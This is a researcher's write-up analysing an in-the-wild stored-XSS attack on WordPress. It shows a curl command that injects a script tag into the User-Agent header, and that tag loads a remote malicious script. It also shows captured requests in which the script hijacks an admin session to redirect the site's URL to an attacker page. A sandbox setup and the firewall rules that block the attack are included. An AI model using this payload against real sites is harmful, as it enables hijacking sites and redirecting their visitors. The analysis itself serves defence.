JavaScript Malware Targeting WordPress
Infosec researcher Andrea Menin returns with a technical breakdown of Javascript malware targeting Wordpress installs.
A few days ago my web application firewall received a request that OWASP ModSecurity Core Rule Set 3 identified as a Cross-Site Scripting attack. It turns out that it tries to exploit a stored XSS to use an authenticated admin session and change the WordPress "siteurl" parameter in /wp-admin/options.php
.
The malware is able to replace the default WordPress landing URL with a malicious website address. When a user browses to the infected website, they will be redirected to the malicious URL instead and in the User-Agent request header, there was the following HTML injection:
The log above shows a simple XSS exploit attempt that tries to inject an HTML script tag in two request headers: User-Agent
and X-Forwarded-For
. We can reproduce it by using curl:
curl -v \
-H 'User-Agent: "><script type=text/javascript src="https://js.balantfromsun.com/black.js?&tp=3"></script>' \
'http://wordpress'
Googling around it should be related to a vulnerabilities like the one affected WordPress WordFence Plugin (version <= 3.8.6) which is prone to lib/IPTraf.php User-Agent header stored XSS vulnerability. More details at wpvulndb.
JavaScript Code Analysis
Downloading the script URL https://js.balantfromsun.com/black.js?&tp=3
it has the following obfuscated JavaScript content:
Instead to try to deobfuscate the whole JavaScript code, I've executed it inside a chrome "sandbox". This has been possible thanks to Puppeteer.
Puppeteer is a Node library which provides a high-level API to control Chrome or Chromium over the DevTools Protocol. Puppeteer runs headless by default, but can be configured to run full (non-headless) Chrome or Chromium.
But first I need a fresh and local WordPress environment!
Docker make me a sandwich!
Just create a docker-compose.yml
file and bring up mysql and wordpress with something like this:
version: '3.1'
services:
wordpress:
image: wordpress
restart: always
ports:
- 8080:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: exampleuser
WORDPRESS_DB_PASSWORD: examplepass
WORDPRESS_DB_NAME: exampledb
volumes:
- wordpress:/var/www/html
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exampledb
MYSQL_USER: exampleuser
MYSQL_PASSWORD: examplepass
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql
Now create an HTML file to inject the malicious JavaScript file. For example you can put it in wordpress/test.html
:
<html>
<body>
<script src="https://js.balantfromsun.com/black.js?&tp=3"></script>
</body>
</html>
I know, it's ugly and dirty but it works. Now just run docker-compose up -d
and install your new WordPress.
Puppeteer
I've created a nodejs script to run chrome via the puppeteer lib, and make it able to executes the malicious JavaScript inside his sandbox. Moreover, the script will print to the stdout all HTTP requests that chrome will execute during the malware activities:
const puppeteer = require('puppeteer');
puppeteer.launch({headless: false}).then(async browser => {
const page = await browser.newPage();
await page.setRequestInterception(true);
page.on('request', interceptedRequest => {
if (interceptedRequest.url().endsWith('.png') || interceptedRequest.url().endsWith('.jpg'))
interceptedRequest.abort();
else
console.log(
"---\n"+
"URL: "+interceptedRequest.url()+"\n"+
"Method: "+interceptedRequest.method()+"\n"+
"Headers: "+JSON.stringify(interceptedRequest.headers())+"\n"+
"Post Data: "+interceptedRequest.postData()+"\n"+
"---\n");
interceptedRequest.continue();
});
await page.goto('http://wordpress');
});
As you can see, the script doesn't launch chrome headless. This because I just want to print out all HTTP requests that chrome do, and this means that I need to authenticate first on /wp-login.php
and then trigger the malicious JavaScript code going to /test.html
All can be done just by opening the chrome console and see what happen on network tab... but I preferred a script to have an easy way to log all requests in a text plain format that I can save to a text file. For doing it I've used page.on('request', interceptedRequest)
that makes you able to get all information about any HTTP request Chrome do. Inside the interceptedRequest
object, you'll find a lot of information related to each HTTP request.
The script above prints in the stdout the URL, the HTTP method, a JSON stringify version of the headers object, and the request body (if any).
Results
The malicious JavaScript above uses an authenticated session on the infected WordPress website to execute the following HTTP requests:
1st request: get info from /wp-admin/options-general.php
GET /wp-admin/options-general.php HTTP/1.1
host: wordpress
referer: http://wordpress/test.php
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3882.0 Safari/537.36
2nd request: update WordPress options on /wp-admin/options.php
POST /wp-admin/options.php HTTP/1.1
host: wordpress
referer: http://wordpress/test.php
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3882.0 Safari/537.36
content-type: application/x-www-form-urlencoded
_wpnonce=...&_wp_http_referer=...&option_page=general&siteurl=https://todo.balantfromsun.com/landing_page&action=update&home=https://todo.balantfromsun.com/landing_page
As you can see, the second request change siteurl
and home
parameters to https://todo.balantfromsun.com/landing_page
URL. The effect of this change is that all website visitors will be redirected to https://todo.balantfromsun.com/landing_page
OWASP ModSecurity Core Rule Set 3
If you have ModSecurity and CRS3 enabled on your webserver, this kind of XSS attacks will be blocked at Paranoia Level 1 (the default configuration) by 3 different rules:
- 941100 XSS Attack Detected via libinjection
- 941110 XSS Filter - Category 1: Script Tag Vector
- 941160 NoScript XSS InjectionChecker: HTML Injection